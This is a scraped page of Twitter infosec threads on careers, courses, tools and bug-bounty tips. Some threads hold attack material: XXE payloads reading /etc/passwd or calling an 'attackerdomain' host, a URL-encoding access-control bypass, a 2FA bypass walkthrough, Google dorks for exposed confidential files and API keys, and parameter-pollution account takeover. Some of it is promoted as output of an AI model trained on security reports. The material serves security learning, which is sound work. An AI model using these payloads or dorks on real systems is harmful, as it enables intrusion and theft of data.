Discover and read the best of Twitter Threads about #infosec

Most recents (24)

Hey guys,

I see that a lot of people are getting into the cybersecurity industry and are seriously looking at different career paths, learning the basics, getting their hands dirty with hands on experience, joining communities.

This is a thread. Kindly follow along.
I have also noticed that here on twitter a few CyberNewbies do not actually take their personal branding as serious as they should in line with their learning skills.
So, this is for us to learn how important Personal Branding is.
🔒🌐 Building Your Personal Brand in Cybersecurity for Newbies 👩‍💻🔐

Are you a cybersecurity newbie eager to land an entry-level position in the industry? Building a strong personal brand can be the key to connecting with recruiters and professionals who can help you Image
Read 22 tweets
Folk in the trade need to rally round this. The proprietor here put a great big target on their back
#InfoSec #DataProtection media, legal, #HumanRights and #Librarian Twitter were the trades I was mainly referring to
Read 4 tweets
Why would such string crash Whatsapp on Android devices?

Rendering issues?

Submitted URL:

Effective URL:

#infosec #whatsappcrash Image
That's why! ImageImageImage

This exception occurs when you try to access an index that is outside the bounds of an array or a collection.

Let's roll it!

Read 13 tweets
- Ongoing #NAFOIntel thread -

In both kinetic and information warfare as conflict progresses both the tactics involved and the terrain of the battlefield changes.

We hope this thread helps the #NAFO community along on their journey to assist #Ukraine to victory. #SlavaUkraine
To begin the thread we would like to focus on the issue of #NAFOfellas now getting put in time out or getting the big bonk themselves permanently.

We have people and groups that hunt trolls and report TOS violations..

They have Pro-Putin trolls that hunt Fellas & do the same.
One of their tactics, adopted from our own.. To trigger you, and bait you into your own #TangoDown ..

Never play chess with a pigeon. Even when you win.
The pigeon just knocks all the pieces over, shits all over the board, then struts around like it won. Image
Read 15 tweets
1/ I am taking a little break but couldn’t resist checking-out my favourite open-source projects for any updates. Doing so, I thought it will be useful to share my top 10 projects that anyone in the #infosec field should know about. Here they are 🧵:
2/ 📊 HELK ( The Hunting ELK (HELK) project provides an analytics and threat hunting platform for security teams to identify and respond to threats in their environment. Just load your logs and start hunting! #HELK #ThreatHunting Image
3/ 🔍 Sigma( ): Sigma enables infosec peeps to create rules for SIEM systems for detecting and responding to security incidents. It also allows us to share our rules in a non-vendor-specific format! Free detections anyone!?! #Sigma #SIEM
Read 13 tweets
Top free #Cybersecurity and ethical #hacking certification⚔️📓

1./Introduction to IT & Cybersecurity (Cybrary) =…

2./Mobile App Security (Cybrary) =…

3./Introduction to Cybersecurity (edx) =…
4./Introduction to Cyber Security (Future Learn) =…

5./Introduction to Encryption and Cryptography (Future Learn) =…

6./Fundamentals of Red Hat Linux (edx) =…
7./ Introduction to Cybersecurity (Codecademy) =…

8./ Cisco Networking Academy =…

9./ SANS Cyber Aces (covers foundation areas of cybersecurity) -

10./ Opensecurity - =
Read 4 tweets
If you are new to tech and trying to transition into cybersecurity, its true cybersecurity is expensive but i will share some free course on this thread, go through all of it.
RT for others to see, You’re welcome🥂
PS: You will need a decent laptop and an internet connection
Cybersecurity Basics -

COMPTIA (networking, cloud and cyber) -

Cybrary IT -

Networking -

More Networking -

Even More Networking -
Linux -

More Linux -

Windows Server -

More Windows Server-

Python -

CompTIA Security+ -
Read 4 tweets
A lesser-known yet effective way of #bugbounty hunting is called "hacktivity" hunting. It involves bypassing fixes on disclosed reports found on @Hacker0x01's hacktivity page. This approach helped me score a $5k bounty! Here's how it works.👇

#InfoSec #CyberSecurity
With hacktivity hunting, the hard part - finding interesting behavior or insecure features - is already done for you. Your main role is to find a bypass.

For example, I found a bypass for a report on

The original report tried to restrict access to /admin by restricting the path in Nginx. However, I bypassed it using simple encoding - /%2561dmin. Endpoints required authentication, but I bypassed this by adding ".json" at the end.

#BugBounty #Hacking
Read 8 tweets
Two factor Authentication bypass : ⚔️

- In applications registration , it required a mobile number for compulsory 2 factor authentication.
- Captured the request for mobile number addition
POST /mobile/add


- Now followed the registration normally by adding a mobile number.
- Now when I login to account it required an otp to proceed.
- Used an invalid otp like 111111 and intercepted the request.
- Changed the request PATH and BODY to earlier captured request.

- They we’re implementing checks for all internal api endpoints before entering otp but forget to add check for mobile number addition request.
- I was able to add a new number without entering otp
- This led to 2fa bypass.

#infosec #cybersec #bugbounty
Read 3 tweets
Google Dorks - Cloud Storage #2: "example[.]com" "example[.]com" "example[.]com"

Find sensitive data and company assets

#recon #bugbountytips #infosec #seo
Combine: | | "example[.]com"

Add something to narrow the results: "confidential" "privileged" "apikey"
Read 6 tweets
I have unfollowed most of the people I used to follow in #infosec and pretty much all of the musicians I used to follow, from Hall and Oates to Jamiroquai to Siouxsie and the Banshees.

Every world tour and every maskless convention selfie is a betrayal... #CovidIsNotOver 🧵
I'm finally in a point in my life where I can afford overpriced concert tickets and some travel if it's something that's really a priority to me.

But fuck no. The musicians I genuinely used to love now will never see a dime out of me ever again...
I BitTorrent their music, because even Spotify and YouTube plays would give them a fraction of a cent each time.

My favourite musicians (musically, at least) aren't even starving artists. Have you seen Jay Kay's car collection?!
Read 14 tweets
😱 I asked ChatGPT "What are some of the unpopular SQL injection areas" and this is what it replied.


#bugbounty #cybersecurity #infosec #sqli
1. Error messages: Sometimes error messages can reveal important information about the application's database, such as table names or column names. An attacker can use this information to craft a SQL injection attack.
2. Search fields: Search fields are often overlooked when testing for SQL injection vulnerabilities, but they can be an easy target for attackers. In un-sanitized search queries, an attacker can inject SQL code to retrieve sensitive data from the database.
Read 7 tweets
40 Best PenTesting Toolkits

Information Gathering

•OSINT Framework
•Google Hacking Database
Scanning and Enumeration

•Powershell Scripts

•Mitre Att&ck
•Burp Suite
•Cain and Abel
•John the Ripper
Read 7 tweets
Google Dorks - File Storage: "example[.]com" "example[.]com" inurl:"/d/" "example[.]com"

Find sensitive data and company accounts

#recon #bugbountytips #infosec #seo
Combine: | | "example[.]com"

Add something to narrow the results: "confidential" "privileged" "not for public release"
Read 6 tweets
20 FREE Cybersecurity Certifications to Add to Resume/CV
1. Introduction to Cybersecurity…
2. Computer Forensics…
Read 23 tweets
From Noob to Pentesting Clients in 2023 👇
1. Be laser focused to become l33t. Cybersecurity is a large field and you can't be an expert of everything.
2. Let's say you choose application security. Here's how I would skill up really fast.
Read 9 tweets
HTTP Parameter Pollution @SecGPT has seen in its training. Image
1. ATO via password reset

The attacker manipulates the HTTP parameters of the password reset page to change the email address associated with the account; then use the password reset link => ATO.
2. Price manipulation in e-commerce platforms

The attacker manipulates the HTTP parameters of an e-commerce website to change the price of a product. The attacker can then purchase the product at a lower price than intended.
Read 5 tweets
𝐌𝐚𝐥𝐰𝐚𝐫𝐞 𝐚𝐧𝐝 𝐑𝐞𝐯𝐞𝐫𝐬𝐞 𝐄𝐧𝐠𝐢𝐧𝐞𝐞𝐫𝐢𝐧𝐠 𝐂𝐨𝐧𝐭𝐞𝐧𝐭𝐬 📢

#infosec #Hacking #redteam
#malware #ReverseEngineering

Awesome Malware and Reverse Engineering
Malware API

Malware Analysis and Reverse Engineering


Malware Bazar

Malware Analysis Journey
Read 6 tweets
🚀🔒Exciting news! SecGPT is now LIVE!

Trained on thousands of cybersecurity reports, SecGPT revolutionizes cybersecurity with AI-driven insights.👇
1. Trained on an extensive collection of cybersecurity reports, @SecGPT provides you with a deeper understanding of vulnerabilities, exploitation techniques, and emerging trends in cybersecurity.

Its knowledge increases as more reports and writeups are published.
2. Explore SecGPT's capabilities and see how it can assist you in enhancing your cybersecurity expertise.

Try it out for free at

#ai #cybersecurity #infosec #pentesting #ethicalhacking #bugbounty #bugbountytips #secgpt
Read 7 tweets


Once a Device is ‘Bluebugged’, the Hacker can access the target device, steal and modify device data, listen to calls, and read messages.

A thread
What is a Bluetooth Attack?

This is a form of Hacking Technique that allows the attacker access to a device with a Bluetooth discoverable connection or when a Bluetooth technology is left on
Types of Bluetooth Attacks

· Bluesnarf Attack
· Man-in-The Middle (MiTM) Attack
· BlueJacking
· BlueSmacking (DoS Attack)
· BluePrinting Attack
· BlueBugging
Read 7 tweets
Boost your pentesting and bug bounty game with SecGPT's AI insights from thousands of online security reports.

I've asked it for some XXE payloads found in the reports. Image
1. Basic XXE payload

`<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>`
2. Blind XXE payload

`<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attackerdomain/xxe.dtd">%xxe;]><foo></foo>`
Read 7 tweets
Unlocking the Secrets: Breaking Access Controls, the basics 👇

(from the AI model I'm currently training on security reports) Image
1. Direct object reference

This occurs when an attacker is able to access a resource directly by manipulating a parameter in the URL or form data.
2. Horizontal privilege escalation

This occurs when an attacker is able to access resources or perform actions that are intended for another user with the same level of access.
Read 8 tweets
Often times to simplify my work I build scripts.👇

I recently discovered katana by @pdiscoveryio. And I turned this:

katana -d 5 -c 50 -p 20 -ef "ttf,woff,svg,jpeg,jpg,png,ico,gif,css" -u <https://tld> -cs "regex-to-restrict-to-tld-and-subdomains"

into this:

kata <tld>
1. The long command does the following:

-d => depth 5
-c => concurrency 50
-p => threads in parallel 20
-ef => exclude these
-u => supply the top level domain (i.e.
-cs => scope for this regex (limited to the tld and its subdomains)
2. You can download the kata bash script from my repo below. Use it as:

kata <tld>

Do me a favor and star the repo, thanks!

#pentesting #infosec #cybersecurity #ethicalhacking #bugbounty #bugbountytips…
Read 3 tweets

Related hashtags

Did Thread Reader help you today?

Support us! We are indie developers!

This site is made by just two indie developers on a laptop doing marketing, support and development! Read more about the story.

Become a Premium Member ($3.00/month or $30.00/year) and get exclusive features!

Become Premium

Too expensive? Make a small donation by buying us coffee ($5) or help with server cost ($10)

Donate via Paypal Become our Patreon

Thank you for your support!